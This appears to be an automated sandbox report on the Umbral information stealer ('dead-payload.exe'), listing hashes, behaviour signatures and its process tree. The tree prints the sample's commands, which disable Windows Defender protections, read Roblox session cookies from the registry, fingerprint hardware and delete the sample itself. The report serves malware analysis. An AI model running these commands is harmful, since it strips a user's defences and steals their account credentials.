Analysis

  • max time kernel
    9s
  • max time network
    8s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-07-2024 20:16

General

  • Target

    dead-payload.exe

  • Size

    254KB

  • MD5

    25a2522c3853f29cea7396fcd3e70c7c

  • SHA1

    188fced84fffb29a17ce8828ac90911665512386

  • SHA256

    6f79fb9f7c9883bc3151bd95bd88f6e0b3f86c4b0f536a8f099a55656d922766

  • SHA512

    3140244dafd52f55574eb18250c0b2710c1276b134ba0747d13e233501fbf7324f8d7b92080a94c6006a8983a190e9953f942e8cba1b1a79eb851608986512d4

  • SSDEEP

    6144:K4oZoAeVHPtHgTIAaZgCwDx7axHU0unC28ejI817:xoZyHPvWCwjXCsII

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dead-payload.exe
    "C:\Users\Admin\AppData\Local\Temp\dead-payload.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:548
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1796
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dead-payload.exe"
      2⤵
      • Views/modifies file attributes
      PID:2076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dead-payload.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3692
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4544
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:3884
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:3528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3768
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3656
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dead-payload.exe" && pause
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4740
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:3460

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        76692775e4781f0c9f0092f5804cfdb1

        SHA1

        6740e4e4110028c62282ee1e7eb8be576a2bc23a

        SHA256

        0c451ff3823450d544066237cbfb08556b7ca36c4a0ea085055f69ab35795b00

        SHA512

        6e0731e3736594d9e86da2fc33e08a663f29100074cc8d46e2716123c946b9eb150c804c7cf8428cac631e1cff984663d41ce3b5e1e77965bd8e2ecf0742af34

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        948B

        MD5

        c9b6705519e1eef08f86c4ba5f4286f3

        SHA1

        6c6b179e452ecee2673a1d4fe128f1c06f70577f

        SHA256

        0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

        SHA512

        6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        88be3bc8a7f90e3953298c0fdbec4d72

        SHA1

        f4969784ad421cc80ef45608727aacd0f6bf2e4b

        SHA256

        533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

        SHA512

        4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        107102102e02e48f37f5318c7e113c43

        SHA1

        7fb10fc65c85fb4c050309f0872bc9389dcccc0d

        SHA256

        3c3f49948c1e832c86b959c32bc288ddedb500534b74df082f8967fc7f9976f7

        SHA512

        b108a47d7c3dd154cad44362b6cd557b7064096383d100e6cd64bfb19c4e2ad878ed4ee800776322ad3cc4bb721fb675b0ecab8f5661024188fa3aa19561841b

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vx1utlhl.1vx.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/548-68-0x000002693DE40000-0x000002693DE4A000-memory.dmp
        Filesize

        40KB

      • memory/548-30-0x000002693DEB0000-0x000002693DF26000-memory.dmp
        Filesize

        472KB

      • memory/548-31-0x000002693DF30000-0x000002693DF80000-memory.dmp
        Filesize

        320KB

      • memory/548-2-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp
        Filesize

        10.8MB

      • memory/548-87-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp
        Filesize

        10.8MB

      • memory/548-32-0x000002693DF80000-0x000002693DF9E000-memory.dmp
        Filesize

        120KB

      • memory/548-69-0x000002693DE70000-0x000002693DE82000-memory.dmp
        Filesize

        72KB

      • memory/548-0-0x0000026923760000-0x00000269237A6000-memory.dmp
        Filesize

        280KB

      • memory/548-1-0x00007FFDA6343000-0x00007FFDA6345000-memory.dmp
        Filesize

        8KB

      • memory/1668-14-0x00000295DF410000-0x00000295DF432000-memory.dmp
        Filesize

        136KB

      • memory/1668-13-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp
        Filesize

        10.8MB

      • memory/1668-12-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp
        Filesize

        10.8MB

      • memory/1668-16-0x00007FFDA6340000-0x00007FFDA6E01000-memory.dmp
        Filesize

        10.8MB